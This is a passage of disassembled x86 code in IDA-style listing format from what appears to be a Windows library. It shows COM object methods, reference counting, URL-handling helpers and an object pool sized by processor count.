		cmp	byte ptr [esi+24h], 0
		jnz	short loc_69B3AFE0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_69B3AFE0
		mov	ecx, [eax]
		push	offset word_69B26224
		push	80004005h
		push	eax
		call	dword ptr [ecx+1Ch]


loc_69B3AFE0:				; CODE XREF: sub_69B3AFB0+Bj
					; sub_69B3AFB0+11j ...
		push	0
		push	edi
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	short sub_69B3AF8C
sub_69B3AFB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3AFEE	proc near		; DATA XREF: .text:69B277CCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		mov	esi, [esp+8+arg_0]
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+24h], 0
		mov	esi, [esi+1Ch]
		test	esi, esi
		jz	short loc_69B3B019
		push	[esp+4+arg_8]
		mov	eax, [esi]
		push	[esp+8+arg_4]
		push	esi
		call	dword ptr [eax+0Ch]


loc_69B3B019:				; CODE XREF: sub_69B3AFEE+1Bj
		xor	eax, eax
		pop	esi
		retn	0Ch
sub_69B3AFEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3B01F(int, int, int, int, LPCWSTR lpString)

sub_69B3B01F	proc near		; DATA XREF: .text:69B277D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
lpString	= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	byte ptr [esi+30h], 0
		mov	[ebp+var_4], edi
		jnz	short loc_69B3B0A4
		mov	eax, [esi+20h]
		cmp	eax, edi
		jz	short loc_69B3B0A4
		lea	edx, [ebp+arg_0]
		push	edx
		push	offset dword_69B2AF50
		mov	[ebp+arg_0], edi
		mov	byte ptr [esi+30h], 1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jnz	short loc_69B3B0A1
		cmp	[ebp+arg_0], edi
		jz	short loc_69B3B0A1
		mov	edi, 80h
		push	edi
		call	sub_69B1D897
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B3B096
		mov	eax, [ebp+arg_0]
		push	0
		push	0
		lea	edx, [ebp+var_4]
		push	edx
		push	ebx
		push	1
		mov	[ebp+var_4], edi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jnz	short loc_69B3B090
		push	[ebp+var_4]	; int
		mov	ecx, esi
		push	ebx		; lpMultiByteStr
		call	sub_69B3AE56


loc_69B3B090:				; CODE XREF: sub_69B3B01F+64j
		push	ebx
		call	sub_69B1B2B7


loc_69B3B096:				; CODE XREF: sub_69B3B01F+49j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		xor	edi, edi


loc_69B3B0A1:				; CODE XREF: sub_69B3B01F+33j
					; sub_69B3B01F+38j
		mov	[ebp+var_4], edi


loc_69B3B0A4:				; CODE XREF: sub_69B3B01F+13j
					; sub_69B3B01F+1Aj
		cmp	[ebp+arg_C], 3
		mov	ebx, [ebp+lpString]
		jnz	short loc_69B3B129
		mov	ecx, [esi+18h]
		cmp	ecx, edi
		jz	short loc_69B3B0BD
		push	ebx		; lpszUrl
		call	sub_69B39E07
		mov	[esi+34h], eax


loc_69B3B0BD:				; CODE XREF: sub_69B3B01F+93j
		mov	eax, [esi+28h]
		cmp	eax, edi
		jz	short loc_69B3B0E1
		cmp	ebx, edi
		jz	short loc_69B3B0D9
		cmp	[esi+34h], edi
		jl	short loc_69B3B0D9
		push	0FFFFFFFFh	; int
		push	eax		; int
		push	ebx		; lpszUrl
		call	sub_69B39C17
		mov	[esi+34h], eax


loc_69B3B0D9:				; CODE XREF: sub_69B3B01F+A7j
					; sub_69B3B01F+ACj
		push	dword ptr [esi+28h]
		call	sub_69B1B2B7


loc_69B3B0E1:				; CODE XREF: sub_69B3B01F+A3j
		push	ebx		; lpString
		call	sub_69B8AADD
		cmp	eax, edi
		mov	[esi+28h], eax
		jnz	short loc_69B3B0F5
		mov	[ebp+var_4], 8007000Eh


loc_69B3B0F5:				; CODE XREF: sub_69B3B01F+CDj
		cmp	[esi+34h], edi
		jz	short loc_69B3B129
		mov	ecx, [esi+18h]
		cmp	ecx, edi
		jz	short loc_69B3B118
		call	sub_69B3A112
		cmp	eax, 8000000Ah
		jnz	short loc_69B3B118
		push	dword ptr [esi+34h]
		mov	ecx, [esi+18h]
		call	sub_69B3A0F1


loc_69B3B118:				; CODE XREF: sub_69B3B01F+E0j
					; sub_69B3B01F+ECj
		cmp	[esi+34h], edi
		jge	short loc_69B3B129
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_4], eax


loc_69B3B129:				; CODE XREF: sub_69B3B01F+8Cj
					; sub_69B3B01F+D9j ...
		mov	esi, [esi+1Ch]
		cmp	esi, edi
		jz	short loc_69B3B140
		mov	eax, [esi]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+18h]


loc_69B3B140:				; CODE XREF: sub_69B3B01F+10Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B3B01F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B14A	proc near		; DATA XREF: .text:69B277DCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	edi, [esp+0Ch+arg_4]
		test	edi, edi
		mov	byte ptr [esi+24h], 1
		jz	short loc_69B3B18E
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B3B18E
		mov	eax, [esi+34h]
		test	eax, eax
		jz	short loc_69B3B179
		mov	edi, eax


loc_69B3B179:				; CODE XREF: sub_69B3B14A+2Bj
		call	sub_69B3A112
		cmp	eax, 8000000Ah
		jnz	short loc_69B3B18E
		mov	ecx, [esi+18h]
		push	edi
		call	sub_69B3A0F1


loc_69B3B18E:				; CODE XREF: sub_69B3B14A+1Dj
					; sub_69B3B14A+24j ...
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_69B3B1C5
		push	[esp+0Ch+arg_8]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_69B3B1C5
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B3B1B3
		push	ebx
		call	sub_69B3A0F1


loc_69B3B1B3:				; CODE XREF: sub_69B3B14A+61j
		mov	eax, ebx
		sub	eax, 8000000Ah
		neg	eax
		sbb	eax, eax
		and	eax, 80004004h
		jmp	short loc_69B3B1DE
; ---------------------------------------------------------------------------


loc_69B3B1C5:				; CODE XREF: sub_69B3B14A+49j
					; sub_69B3B14A+5Aj
		mov	esi, [esi+18h]
		test	esi, esi
		jz	short loc_69B3B1DC
		mov	ecx, [esi+40h]
		test	ecx, ecx
		jz	short loc_69B3B1DC
		mov	eax, [ecx]
		push	1
		push	esi
		call	dword ptr [eax]
		mov	ebx, eax


loc_69B3B1DC:				; CODE XREF: sub_69B3B14A+80j
					; sub_69B3B14A+87j
		mov	eax, ebx


loc_69B3B1DE:				; CODE XREF: sub_69B3B14A+79j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B3B14A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B1E4	proc near		; CODE XREF: sub_69B3B210+5p
					; sub_69B81864+3p
		push	esi
		mov	esi, ecx
		push	offset dword_69B3B200
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B3B1E4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3B200	dd 79EAC9C1h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
; =============== S U B	R O U T	I N E =======================================



sub_69B3B210	proc near		; CODE XREF: sub_69B3A1A9+3Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B3B1E4
		mov	edi, [esp+0Ch+arg_0]
		mov	dword ptr [esi], offset	off_69B277C0
		mov	dword ptr [esi+4], offset off_69B277BC
		mov	dword ptr [esi+10h], offset off_69B277A8
		mov	dword ptr [esi+14h], offset off_69B27794
		lea	eax, [esi+18h]
		xor	ebx, ebx
		mov	[eax], ebx
		push	edi
		mov	[esi+1Ch], ebx
		push	eax
		mov	[esi+20h], ebx
		call	sub_69B17320
		mov	[esi+24h], bl
		mov	eax, [edi+28h]
		push	dword ptr [eax+8] ; lpString
		call	sub_69B8AADD
		mov	[esi+28h], eax
		pop	edi
		mov	[esi+30h], bl
		mov	[esi+34h], ebx
		mov	dword ptr [esi+2Ch], 1
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B3B210	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B273	proc near		; DATA XREF: .text:off_69B277A8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	sub_69B3A953
sub_69B3B273	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B27D	proc near		; DATA XREF: .text:69B277ACo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	sub_69B3A9F7
sub_69B3B27D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B287	proc near		; DATA XREF: .text:69B277B0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 10h
		jmp	sub_69B3AA4A
sub_69B3B287	endp

; ---------------------------------------------------------------------------


loc_69B3B291:				; DATA XREF: .text:off_69B27794o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B3A953
; ---------------------------------------------------------------------------


loc_69B3B29B:				; DATA XREF: .text:69B27798o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B3A9F7
; ---------------------------------------------------------------------------


loc_69B3B2A5:				; DATA XREF: .text:69B2779Co
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B3AA4A
; ---------------------------------------------------------------------------


loc_69B3B2AF:				; DATA XREF: .text:69B277A0o
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B3AAE4

; =============== S U B	R O U T	I N E =======================================



sub_69B3B2B9	proc near		; CODE XREF: .text:69B3B316p
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-4]
		push	edi
		mov	dword ptr [ecx], offset	off_69B277C0
		mov	dword ptr [esi], offset	off_69B277BC
		mov	dword ptr [esi+0Ch], offset off_69B277A8
		mov	dword ptr [esi+10h], offset off_69B27794
		call	sub_69B3AF8C
		push	0
		lea	edi, [esi+18h]
		push	edi
		call	sub_69B17320
		push	0
		lea	ebx, [esi+1Ch]
		push	ebx
		call	sub_69B17320
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		add	esi, 14h
		push	esi
		call	sub_69B17230
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_69B2C65C
sub_69B3B2B9	endp

; ---------------------------------------------------------------------------


loc_69B3B313:				; DATA XREF: .text:off_69B277BCo
		push	esi
		mov	esi, ecx
		call	sub_69B3B2B9
		test	byte ptr [esp+8], 1
		jz	short loc_69B3B32B
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B3B32B:				; CODE XREF: .text:69B3B320j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B3B332	proc near		; CODE XREF: sub_69B3B54A+2Fp
					; sub_69B55773+5Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		lea	ecx, [esi+4]
		call	sub_69B1A8C7
		push	0
		push	[esp+8+arg_8]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_69B18B65
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B3B332	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3B35C	proc near		; DATA XREF: .data:69B984BCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		jz	short loc_69B3B382
		dec	eax
		jz	short loc_69B3B370
		mov	eax, 80020003h
		jmp	short loc_69B3B3B2
; ---------------------------------------------------------------------------


loc_69B3B370:				; CODE XREF: sub_69B3B35C+Bj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		jmp	short loc_69B3B3B2
; ---------------------------------------------------------------------------


loc_69B3B382:				; CODE XREF: sub_69B3B35C+8j
		test	[ebp+arg_C], 2
		jz	short loc_69B3B39A
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		jmp	short loc_69B3B3B2
; ---------------------------------------------------------------------------


loc_69B3B39A:				; CODE XREF: sub_69B3B35C+2Aj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B3B3A8
		mov	eax, [eax]


loc_69B3B3A8:				; CODE XREF: sub_69B3B35C+48j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+1Ch]


loc_69B3B3B2:				; CODE XREF: sub_69B3B35C+12j
					; sub_69B3B35C+24j ...
		pop	ebp
		retn	18h
sub_69B3B35C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3B3B6	proc near		; CODE XREF: sub_69B3B82A+15j

SystemInfo	= _SYSTEM_INFO ptr -24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		cmp	dword_69B9B268,	0
		push	esi
		mov	esi, ecx
		jnz	short loc_69B3B3DC
		lea	eax, [ebp+SystemInfo]
		push	eax		; lpSystemInfo
		call	ds:GetSystemInfo	; GetSystemInfo
		mov	eax, [ebp+SystemInfo.dwNumberOfProcessors]
		add	eax, eax
		mov	dword_69B9B268,	eax


loc_69B3B3DC:				; CODE XREF: sub_69B3B3B6+10j
		and	dword ptr [esi+6Ch], 0
		mov	eax, dword_69B9B268
		shl	eax, 2
		push	eax
		call	sub_69B1D897
		mov	[esi+68h], eax
		pop	esi
		leave
		retn
sub_69B3B3B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B3F4	proc near		; CODE XREF: sub_69B3BC4C+42p
		mov	eax, [ecx+68h]
		test	eax, eax
		jz	short locret_69B3B401
		push	eax
		call	sub_69B1B2B7

locret_69B3B401:			; CODE XREF: sub_69B3B3F4+5j
		retn
sub_69B3B3F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B402	proc near		; CODE XREF: sub_69B3B8CA+B8p
					; sub_69B3BC4C+3Bp
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+6Ch], edi
		jle	short loc_69B3B41F


loc_69B3B40D:				; CODE XREF: sub_69B3B402+1Bj
		mov	eax, [esi+68h]
		mov	eax, [eax+edi*4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		inc	edi
		cmp	edi, [esi+6Ch]
		jl	short loc_69B3B40D


loc_69B3B41F:				; CODE XREF: sub_69B3B402+9j
		and	dword ptr [esi+6Ch], 0
		pop	edi
		pop	esi
		retn
sub_69B3B402	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B426	proc near		; CODE XREF: sub_69B3B4D3+4Ap
					; sub_69B3B8CA+C8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+6Ch]
		cmp	eax, dword_69B9B268
		jge	short loc_69B3B453
		push	edi
		mov	edi, [esp+8+arg_0]
		push	0
		mov	ecx, edi
		call	sub_69B46A32
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+68h]
		mov	[ecx+eax*4], edi
		inc	dword ptr [esi+6Ch]
		xor	eax, eax
		pop	edi
		jmp	short loc_69B3B456
; ---------------------------------------------------------------------------


loc_69B3B453:				; CODE XREF: sub_69B3B426+Cj
		xor	eax, eax
		inc	eax


loc_69B3B456:				; CODE XREF: sub_69B3B426+2Bj
		pop	esi
		retn	4
sub_69B3B426	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B45A	proc near		; CODE XREF: sub_69B3B684+8Cp
		mov	eax, [ecx+6Ch]
		test	eax, eax
		jle	short loc_69B3B478
		mov	edx, [ecx+68h]
		dec	eax
		push	esi
		mov	[ecx+6Ch], eax
		mov	esi, [edx+eax*4]
		push	ecx
		mov	ecx, esi
		call	sub_69B46A32
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B3B478:				; CODE XREF: sub_69B3B45A+5j
		xor	eax, eax
		retn
sub_69B3B45A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B47B	proc near		; CODE XREF: sub_69B473A7+21p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		add	eax, 0ACh
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		retn	4
sub_69B3B47B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B496	proc near		; CODE XREF: sub_69B3B8CA+E9p
					; sub_69B3B8CA+12Ap ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		add	eax, 0ACh
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		retn	4
sub_69B3B496	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B4B1	proc near		; CODE XREF: sub_69B3BC4C+51p
					; sub_69B468EB+37p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_69B48A77
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0B4h]
		add	eax, 0ACh
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		retn	4
sub_69B3B4B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3B4D3	proc near		; CODE XREF: sub_69B471C0+62p

var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B3B4F0
		mov	eax, 80004005h
		jmp	short loc_69B3B544
; ---------------------------------------------------------------------------


loc_69B3B4F0:				; CODE XREF: sub_69B3B4D3+14j
		push	edi
		xor	edi, edi
		inc	edi
		push	edi
		lea	ecx, [ebp+var_10]
		call	sub_69B11D3B
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		lea	eax, [esi+40h]
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_69B18E23
		mov	ecx, [esi+3Ch]
		mov	eax, [ebp+arg_0]
		cmp	ecx, [eax+34h]
		jnz	short loc_69B3B524
		push	eax
		mov	ecx, esi
		call	sub_69B3B426
		mov	edi, eax


loc_69B3B524:				; CODE XREF: sub_69B3B4D3+45j
		lea	ecx, [ebp+var_4]
		call	sub_69B1900C
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B3B544:				; CODE XREF: sub_69B3B4D3+1Bj
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B3B4D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3B54A	proc near		; CODE XREF: sub_69B3B8CA+77p
					; sub_69B46CA6+1Bp

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_69B3B5AB
		push	edi


loc_69B3B559:				; CODE XREF: sub_69B3B54A+4Aj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	dwTlsIndex
		mov	edi, eax
		call	dword_69B92970
		push	edi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		push	eax
		call	sub_69B3B332
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		cmp	edi, eax
		jz	short loc_69B3B596
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		jmp	short loc_69B3B559
; ---------------------------------------------------------------------------


loc_69B3B596:				; CODE XREF: sub_69B3B54A+40j
		add	eax, 0ACh
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		pop	edi


loc_69B3B5AB:				; CODE XREF: sub_69B3B54A+Cj
		pop	esi
		leave
		retn	8
sub_69B3B54A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B5B0	proc near		; DATA XREF: .text:69B1F564o
		push	28h
		push	offset dword_69B3B678
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B3B5D5
		mov	eax, 80004005h
		jmp	loc_69B3B66E
; ---------------------------------------------------------------------------


loc_69B3B5D5:				; CODE XREF: sub_69B3B5B0+19j
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B3B5FE
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B3B66E
; ---------------------------------------------------------------------------


loc_69B3B5FE:				; CODE XREF: sub_69B3B5B0+34j
		mov	esi, [ebp+8]
		lea	eax, [esi+40h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], ebx
		mov	eax, [esi+3Ch]
		mov	[ebp-30h], eax
		cmp	eax, ebx
		jz	short loc_69B3B620
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B3B620:				; CODE XREF: sub_69B3B5B0+68j
		mov	esi, [esi+3Ch]
		mov	[ebp-34h], esi
		mov	[edi], esi
		mov	[ebp-38h], ebx
		jmp	short loc_69B3B64E
; ---------------------------------------------------------------------------


loc_69B3B62D:				; DATA XREF: .text:69B3B67Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3B636:				; DATA XREF: .text:69B3B680o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax


loc_69B3B64E:				; CODE XREF: sub_69B3B5B0+7Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B3B66E:				; CODE XREF: sub_69B3B5B0+20j
					; sub_69B3B5B0+4Cj
		call	sub_69B1853C
		retn	8
sub_69B3B5B0	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B3B678	dd 0FFFFFFFFh			dd offset loc_69B3B62D
		dd offset loc_69B3B636

; =============== S U B	R O U T	I N E =======================================



sub_69B3B684	proc near		; DATA XREF: .text:69B1F568o
		push	2Ch
		push	offset dword_69B3B7B0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B3B6A9
		mov	eax, 80004005h
		jmp	loc_69B3B7A1
; ---------------------------------------------------------------------------


loc_69B3B6A9:				; CODE XREF: sub_69B3B684+19j
		push	1
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	ebx, [ebp+0Ch]
		cmp	ebx, edi
		jnz	short loc_69B3B6D5
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	loc_69B3B7A1
; ---------------------------------------------------------------------------


loc_69B3B6D5:				; CODE XREF: sub_69B3B684+34j
		mov	esi, [ebp+8]
		lea	eax, [esi+40h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18E23
		mov	[ebp-30h], edi
		mov	[ebp-34h], edi
		xor	ecx, ecx
		mov	[ebp-4], ecx
		mov	[ebx], ecx
		mov	eax, [esi+3Ch]
		mov	[ebp-38h], eax
		cmp	eax, ecx
		jnz	short loc_69B3B70E
		push	ecx
		push	0C00CE228h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B3B70E:				; CODE XREF: sub_69B3B684+75j
		mov	ecx, esi
		call	sub_69B3B45A
		mov	[ebp-30h], eax
		test	eax, eax
		jnz	short loc_69B3B73A
		mov	edi, [esi+3Ch]
		mov	[ebp-34h], edi
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		push	edi
		push	esi
		call	sub_69B47BDC
		mov	[ebp-30h], eax


loc_69B3B73A:				; CODE XREF: sub_69B3B684+96j
		mov	[ebx], eax
		and	dword ptr [ebp-3Ch], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B3B77B
; ---------------------------------------------------------------------------


loc_69B3B746:				; DATA XREF: .text:69B3B7B4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3B74F:				; DATA XREF: .text:69B3B7B8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-30h]
		test	eax, eax
		jz	short loc_69B3B75F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3B75F:				; CODE XREF: sub_69B3B684+D3j
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-34h]


loc_69B3B77B:				; CODE XREF: sub_69B3B684+C0j
		test	edi, edi
		jz	short loc_69B3B785
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B3B785:				; CODE XREF: sub_69B3B684+F9j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B3B7A1:				; CODE XREF: sub_69B3B684+20j
					; sub_69B3B684+4Cj
		call	sub_69B1853C
		retn	8
sub_69B3B684	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B3B7B0	dd 0FFFFFFFFh			dd offset loc_69B3B746
		dd offset loc_69B3B74F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3B7BC	proc near		; CODE XREF: sub_69B3B844+10p
					; sub_69B3B844+54p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B050
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B3B7EB
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		add	esi, 18h
		mov	[eax], esi
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B3B7EB:				; CODE XREF: sub_69B3B7BC+14j
		pop	edi
		pop	esi
		pop	ebp
		jmp	sub_69B4062A
sub_69B3B7BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3B7F3	proc near		; CODE XREF: sub_69B89EAF+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		push	esi
		call	sub_69B17320
		cmp	[esp+4+arg_0], 0
		jz	short loc_69B3B826
		push	1Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B3B822
		push	[esp+4+arg_0]
		mov	ecx, eax
		push	offset stru_69B1CA6C
		call	sub_69B881B2
		jmp	short loc_69B3B824
; ---------------------------------------------------------------------------


loc_69B3B822:				; CODE XREF: sub_69B3B7F3+1Bj
		xor	eax, eax


loc_69B3B824:				; CODE XREF: sub_69B3B7F3+2Dj
		mov	[esi], eax


loc_69B3B826:				; CODE XREF: sub_69B3B7F3+10j
		pop	esi
		retn	4
sub_69B3B7F3	endp


; =============== S U B	R O U T	I N E =======================================



